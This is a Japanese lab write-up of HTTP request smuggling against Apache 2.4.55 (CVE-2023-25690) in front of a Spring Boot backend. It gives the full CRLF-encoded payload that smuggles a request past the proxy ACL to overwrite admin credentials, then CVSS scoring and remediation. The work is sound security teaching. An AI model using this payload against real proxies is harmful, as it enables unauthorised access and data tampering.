
HTTPリクエストスマグリングラボ: Apache 2.4.55 CRLFインジェクション
| コンポーネント | 役割 | バージョン |
|---|
| Apache HTTP Server | リバースプロキシ | 2.4.55(脆弱性あり) |
| Spring Boot(組み込みTomcat) | バックエンドAPI | 4.x(Java 21) |
| SQLite | データベース | — |
ユーザー ──► Apache :80(プロキシ) ──► Spring Boot :8080(バックエンド) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: サニタイズされていないCRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> ブロック済み
POST /public/register: データベースへのユーザー登録を許可
POST /public/login: 入力された認証情報の検証によるログインを許可し、セッショントークンを発行
GET /public/dashboard: ユーザー専用エリア
GET /api/status: "name"パラメータを受け付ける。サービス状態確認用のサンプルエンドポイント
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: 理論上は一般公開されておらず、管理者がユーザーデータを変更できるルート
ペネトレーションテスト活動中に、Spring Bootバックエンドを露出させるリバースプロキシインフラストラクチャにおいて重大な脆弱性が特定されました。Apache HTTP Serverバージョン2.4.55のプロキシは、CVE-2023-25690(HTTPリクエストスマグリング)の影響を受け、攻撃者がプロキシに設定されたセキュリティフィルタをバイパスし、保護されていない内部管理エンドポイントに直接到達することを可能にします。
この攻撃は、ApacheのRewriteRuleにおける制御文字(CRLF)のサニタイズ欠如を悪用し、バックエンドへの正当なリクエストのパラメータ間に2番目のHTTPリクエストを注入することを可能にします。概念実証では、プロキシのACLによって理論上保護されている/admin/edit/{id}/{newName}/{newPass}エンドポイントを介した、データベース内のユーザー認証情報の不正変更が実証されました。
推奨事項: Apache HTTP Serverを直ちにバージョン**≥ 2.4.56**へ更新し、プロキシ上のセキュリティフィルタを強化し、すべての機密エンドポイントに対してバックエンド側(Spring Security)のセキュリティレイヤーを実装すること。
HTTPレスポンスヘッダーの分析によるApacheバージョンの特定。
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
結果: ServerヘッダーがApache/2.4.55を明らかにする。CVEデータベースの参照 → CVE-2023-25690との一致。
CVEによると、このApacheバージョンでは、プロキシへのリクエストからの汎用文字をバックエンドの宛先URLにコピーするRewriteRuleが存在する場合、転記されたテキストはサニタイズされないため、制御文字(改行など)も通過します。
例: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // Pはプロキシモードを意味する
したがって、現在の目標は、プロキシレベルでこの転記を実行するエンドポイントを発見することです。
レスポンスの分析とアプリケーションの動作から、セッションがJSESSIONIDを通じて管理されていることが観察され、Javaサーブレットコンテナ(Apache Tomcat、Jetty、WildFlyなど)の使用が確認されます。さらに、存在しないエンドポイントへのリクエストは"Whitelabel Error Page"を返し、バックエンドにSpring Bootがあることを示しています。
辞書ベースのファジング自動化用bashスクリプトを通じて、ネットワーク上に公開されているエンドポイント(おそらくすべて)がマッピングされました。
結果:
| エンドポイント | HTTPコード | メソッド | パラメータ |
|---|---|---|---|
| admin | 403 | GET | (パラメータなし) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (パラメータなし) |
| public/logout | 200 | GET | (パラメータなし) |
| api/status | 200 | GET | (パラメータなし) |
| service/* | 200 | GET | (パラメータなし) |
の両方が同じレスポンスを返すことから、それらがバックエンドの同じエンドポイントを指していることがわかります。さらに、/service/x/y/zのようなリクエスト(おそらく存在しない)が404を返さないことから、元のエンドポイントがパス変数ではなくパラメータを受け入れていると推測できます。結論として、/service/<サービス>へのリクエストはSpring Bootバックエンド用のRewriteRuleで変換されている(まさに探していたもの)と推測できます。次に、このRewriteRuleがダミー(.*のような正規表現を使用)なのか、適切に構造化されているのかを判断する必要があります。
正当なコンテンツと隠されたコンテンツを分割するために、リクエストに制御文字を挿入してみます:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... サービス 'x' は稼働しており安定しています。
CRLFが正しく解釈されるか検証するためにカスタムパラメータを挿入しました。
trash_headerは、Apacheがバックエンドへのリクエストに追加するヘッダーをカプセル化する役割を担います(これにより、それらは単純なX-Headerのテキストとして解釈され、HTTPリクエストの目的では価値を持ちません)。
バックエンドコンテナ内のtcpdumpを使用して、ApacheからのHTTPリクエストを傍受することができました:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
バックエンドはこのリクエストを見ます:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
「制御文字が制御しました」
レスポンスは、制御文字を含む部分が単なるパラメータではなく、HTTPリクエスト自体の構造として妨げられることなく通過したことを示しています(バックエンドが傍受した名前は'x'のみであるため)。したがって、バックエンドへのHTTPリクエストの形式を課すことができ、プロキシはそれを受け入れました。これにより、実際のスマグリングペイロードへの道が開かれます。
| エンドポイント | メソッド | アクセス | 備考 |
|---|---|---|---|
/public/register | POST | 公開 | ユーザー登録 |
/public/login | POST | 公開 | ログイン、JSESSIONIDを発行 |
/public/dashboard | GET | 認証済み | 専用エリア |
/public/logout | GET | 公開 | セッション破棄 |
/api/status?name= | GET | 公開 | ヘルスチェック |
/service/{param} | GET | 公開 | 脆弱なゲートウェイ(クエリ文字列内の$1) |
/admin/edit/{id}/{n}/{p} | POST | 保護済み(ACL) | ユーザー認証情報の変更 |
/admin/ | * | ブロック済み(403) | Apache ACL |
Apacheリバースプロキシに2つの異なるリクエストをSpring Bootバックエンドへ転送させ、2番目のリクエストがApacheのACLフィルタをバイパスして/admin/edit/エンドポイントに到達するようにします。
このフェーズでは、localhostとspring-backendがそれぞれプロキシとサーバーの公開アドレスであると想定します。プロキシとバックエンドが同じネットワーク(または組織)内にある場合、spring-backendはプライベートIPになります(残念ながら知ることは困難です)。
脆弱性はRewriteRuleにあります:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
プロキシはユーザー入力を$1でキャプチャし、制御文字(%20、%0d%0a)をサニタイズせずにクエリ文字列に挿入します。バックエンド(Tomcat)はこれらの文字をURLの終端および同じTCPソケット上の新しいHTTPリクエストの開始として解釈します。
A) GET /service/x → 正当な部分。/service/以降のすべてが
$1(nameパラメータ)に入る
B) %20HTTP/1.1 → [分割ポイント] バックエンドでURLを
早期に閉じるスペース
C) %0d%0aHost:...%0d%0a%0d%0a → [ヘッダーインジェクション] 最初の
リクエストを終了するCRLF
D) POST /admin/edit/1/HACKED/PWNED → [スマグリングされたリクエスト] admin
エンドポイントへの隠された悪意のあるリクエスト
E) %20HTTP/1.1 → 2番目のリクエストのHTTPバージョン
F) %0d%0aContent-Length:%200 → POST用の空ボディ
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [ヘッダーシンク] Apacheが自動的に
追加するヘッダーを吸収
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Apacheが見るもの(単一のリクエスト):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
バックエンドが受け取るもの(同じソケット上の2つのリクエスト):
--- リクエスト1(正当だが「切断された」) ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- リクエスト2(スマグリング) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... サービス 'x' は稼働しており安定しています。
ID 1のユーザーはHACKEDに名前が変更され、パスワードがPWNEDに変更されました — プロキシのACLの完全なバイパス。
確認のためのデータベースへの直接アクセス:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | 説明 |
|---|---|
| CVE-2023-25690 | RewriteRule/ProxyPassMatchを伴うmod_proxyを介したApache HTTP ServerのHTTPリクエストスマグリング |
| CWE-444 | HTTPリクエストの一貫性のない解釈('HTTPリクエスト/レスポンススマグリング') |
| CWE-113 | HTTPヘッダーにおけるCRLFシーケンスの不適切な無害化('HTTPレスポンススプリッティング') |
| メトリクス | 値 | 説明 |
|---|---|---|
| 攻撃ベクトル(AV) | N(ネットワーク) | リモートネットワークからアクセス可能 |
| 攻撃複雑性(AC) | L(低) | 特別な条件なし |
| 必要な権限(PR) | N(なし) | 認証不要 |
| ユーザー操作(UI) | N(なし) | 被害者の操作を必要としない |
| スコープ(S) | C(変更あり) | 脆弱なコンポーネントと影響を受けるコンポーネントが異なる |
| 機密性(C) | H(高) | 保護されたエンドポイントへのアクセス |
| 完全性(I) | H(高) | データベース内のユーザーデータの変更 |
| 可用性(A) | H(高) | プロキシのキャッシュポイズニング/ソケットの汚染の可能性 |
基本スコア: 10.0(重大) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| メトリクス | 値 | 説明 |
|---|---|---|
| エクスプロイトコードの成熟度(E) | F(機能するエクスプロイトが存在) | 機能するエクスプロイト |
| 修正レベル(RL) | O(公式修正) | Apacheの後続バージョンでバグが修正済み |
| 報告の信頼性(RC) | C(確認済み) | 脆弱性が確認され文書化されている |
時間的スコア: 9.3(高)
| メトリクス | 値 | 説明 |
|---|---|---|
| 攻撃ベクトル(MAV) | N(ネットワーク) | プロキシがインターネットに公開 |
| 攻撃複雑性(MAC) | H(高) | 内部エンドポイント構造の知識が必要 |
| 必要な権限(MPR) | L(低) | いかなる種類の権限も不要 |
| ユーザー操作(MUI) | N(なし) | 外部ユーザーの操作は不要 |
| スコープ(MS) | C(変更あり) | 別のシステムを通じてシステムを侵害 |
| 影響メトリクス(MC/MI/MA) | H/H/H | 最大の損害(データベース内のデータ変更) |
| CIA要件(CR/IR/AR) | H/H/H | 重要システム(ユーザーログイン) |
環境スコア: 8.0(高)
ベクター文字列: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
総合スコア: 8.0 — 高
Apache HTTP Serverをバージョン**≥ 2.4.56**へ更新します。このバージョンでは、[P]フラグ付きのRewriteRuleにおける制御文字のサニタイズがサーバーコアレベルで強制されます。
| 現在のバージョン | 対象バージョン | 修正 |
|---|---|---|
| 2.4.55 | 2.4.56+ | mod_proxyでのCRLFの自動サニタイズ |
pom.xmlにspring-boot-starter-securityを追加:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
管理エンドポイントを保護するSecurityFilterChainを設定:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
エンドポイントが受け入れるすべてのパラメータ(クエリ文字列、パス変数、フォームデータ)にチェックを追加:
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// ユーザーがADMINロールを持つことを確認
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "アクセス拒否";
}
// ... 認証チェック後にのみ操作を許可
}